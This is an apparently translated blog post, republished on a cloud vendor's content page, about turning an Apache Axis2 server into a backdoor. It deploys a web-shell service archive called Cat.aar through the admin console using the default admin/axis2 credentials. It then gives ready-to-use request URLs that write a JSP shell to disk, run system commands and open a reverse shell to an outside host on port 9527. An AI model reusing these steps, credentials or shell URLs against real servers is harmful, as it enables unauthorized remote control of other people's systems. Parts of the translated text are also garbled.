Axis2 Using Gadgets Cat.aar

Source: Internet
Author: User
Tags wsdl

AXIS2:

Web Service is now the most suitable technology for implementing soap, and AXIS2 is a technical framework (architecture) for implementing Web service.

Yesterday I packed the chopper script and found that the <> in XML would be escaped, causing the chopper client to be unable to connect. It seems that others can modify the response type, but I didn't succeed. You can play with your previous cat gadget and pack it into AAR.

Axis2 Admin Login Default configuration user name admin, password Axis2:

AXIS2 Management background:

To deploy your application, you need to first make a corresponding AAR, jar package. Install the Axis2 plugin with Eclipse.

Service Archive Wizard–eclipse Plug-in, Code Generator Wizard–eclipse Plug-in

: https://axis.apache.org/axis2/java/core/tools/index.html

After the download is complete, drop the corresponding jar directly into Eclipse's Dropins directory.

Create a new Java project and write the relevant script.

Exporting AAR:

Create a new AXIS2 service Archiver project after installation, and of course you can use Axis2 code generator to generate the WSDL file, depending on your needs.

Specifies that the class file compiles a directory for this project.

The WSDL can be automatically generated or load the generated WADL file and can be skipped. Add any external libraries do not continue to skip. Service.xml also automatically generates this to continue jumping to the next step.

Generate the Service XML file:

Select the class method that is available for external invocation. Service name is used to access after successful deployment. The last step is to write the AAR name and location to generate success.

Then continue back to the backstage deploy Cat.arr:File Cat.aar successfully uploaded

After successful deployment, cut to: Available services (available services).

Access: HTTP://LOCALHOST:8080/AXIS2/SERVICES/CAT?WSDL can see all the method names and specific parameters and return value types that can be called:

For example, the method of calling Getclasspathresponse inside Cat will return the current classpath.

Write shell:http://localhost:8080/axis2/services/cat/writestringtofile?data=test&file=/users/yz/to the Axis2 directory Documents/install/apache-tomcat-7.0.56/webapps/axis2/1.jsp&encoding=utf-8&append=false

Execute command: Http://localhost:8080/axis2/services/Cat/exec?cmd=whoami

Bounce shell:http://localhost:8080/axis2/services/cat/shell?host=p2j.cn&port=9527

Other features (file download, etc.) please refer to: Cat gadget, test done remember the service that corresponds to the available Services offload (remove service).

: Axis2 Use Gadget Cat.aar.zip

Axis2 Using Gadgets Cat.aar

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.